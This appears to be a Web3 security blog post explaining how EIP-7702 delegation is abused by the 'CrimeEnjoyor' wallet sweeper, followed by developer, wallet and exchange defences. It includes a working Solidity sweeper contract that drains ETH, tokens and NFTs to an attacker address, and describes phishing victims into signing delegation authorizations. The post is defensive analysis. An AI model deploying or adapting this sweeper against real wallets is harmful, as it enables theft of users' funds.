When Ethereum's Pectra upgrade went live on May 7, 2025, it brought EIP-7702 — a powerful mechanism that lets Externally Owned Accounts (EOAs) temporarily delegate their execution to smart contracts. The promise was revolutionary: transaction batching, gas sponsorship, social recovery, and a smoother UX for everyday users.
The reality? Within weeks, over 80% of EIP-7702 delegations were pointing at malicious contracts. The most notorious among them — a copy-paste sweeper dubbed "CrimeEnjoyor" — has been draining wallets automatically, sweeping ETH, ERC-20s, and NFTs the instant they arrive.
How EIP-7702 Delegation Actually Works
Before Pectra, EOAs were simple: a private key signs transactions, and the blockchain executes them. No code associated with an EOA.
EIP-7702 changes this fundamentally. An EOA can now store a delegation designator in its code field:
EOA Code Field: 0xef0100 + <delegate_contract_address>
The delegation is established through an authorization tuple:
struct Authorization {
uint256 chainId; // 0 = valid on ALL chains
address codeAddress; // the delegate contract
uint256 nonce; // replay protection
}
The Critical Detail Everyone Missed
The authorization signature is off-chain. Anyone can submit the authorization tuple on behalf of the user. This means:
- A user signs what looks like a routine message
- An attacker submits the authorization as part of their own transaction
- The victim's EOA is now delegated to attacker-controlled code
- The original private key still works, but every interaction routes through the malicious delegate
The CrimeEnjoyor Attack Chain
Phase 1: Compromise
The attacker obtains the victim's private key or tricks them into signing a delegation authorization via:
- Phishing sites presenting EIP-7702 auth as a "sign in" request
- Malware extracting keys from browser wallets
- Social engineering via Discord/Telegram
Phase 2: Delegate and Deploy
contract Sweeper {
address immutable ATTACKER = 0xdead...;
receive() external payable {
payable(ATTACKER).transfer(msg.value);
}
function drainAll(
IERC20[] calldata tokens,
IERC721[] calldata nfts,
uint256[] calldata ids
) external {
payable(ATTACKER).transfer(address(this).balance);
for (uint i = 0; i < tokens.length; i++) {
uint256 bal = tokens[i].balanceOf(address(this));
if (bal > 0) tokens[i].transfer(ATTACKER, bal);
}
for (uint i = 0; i < nfts.length; i++) {
nfts[i].transferFrom(address(this), ATTACKER, ids[i]);
}
}
}
Phase 3: Persistent Drainage
Unlike a one-time approval exploit, the delegation persists. Any future deposits are automatically swept — they arrive and leave in the same block.
Five Broken Security Assumptions
1. tx.origin == msg.sender Is Dead
// THIS IS NOW BROKEN
require(tx.origin == msg.sender, "No contracts");
Post-7702, a delegated EOA executes contract code while tx.origin == msg.sender. Zero protection against flash loans.
2. isContract() Is Meaningless
A delegated EOA has code. A revoked one doesn't. The binary distinction is gone.
3. safeTransferFrom Can Fail
ERC-721's callback check treats delegated EOAs as contracts. Missing onERC721Received = reverted transfers.
4. chainId = 0 = Cross-Chain Replay
One signature, delegation active on Ethereum, Arbitrum, Base, Optimism — everywhere.
5. Storage Collisions During Redelegation
Without ERC-7201 namespacing, switching delegates corrupts state.
Developer Defense Playbook
Replace tx.origin checks
import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract MyProtocol is ReentrancyGuard {
function sensitiveFunction() external nonReentrant {
// actual logic
}
}
Use ERC-7201 storage namespacing
bytes32 constant STORAGE_SLOT = keccak256(
abi.encode(uint256(keccak256("myprotocol.storage.main")) - 1)
) & ~bytes32(uint256(0xff));
Detect delegated EOAs
function protectedAction() external {
if (hasCode(msg.sender) && tx.origin == msg.sender) {
require(msg.value <= MAX_DELEGATED_VALUE, "Delegation limit");
}
}
For Wallets
- Display delegation details prominently
- Implement transaction simulation
- Add one-click revocation
For CEXs
- Trace deposit transactions for redirected funds
- Monitor EOA code fields for unexpected delegation
The Bottom Line
EIP-7702 killed the EOA/contract distinction. If your protocol was deployed before May 2025 and hasn't been re-audited for EIP-7702 compatibility, you have a ticking time bomb.
DreamWork Security — weekly deep dives into Web3 security.
Top comments (0)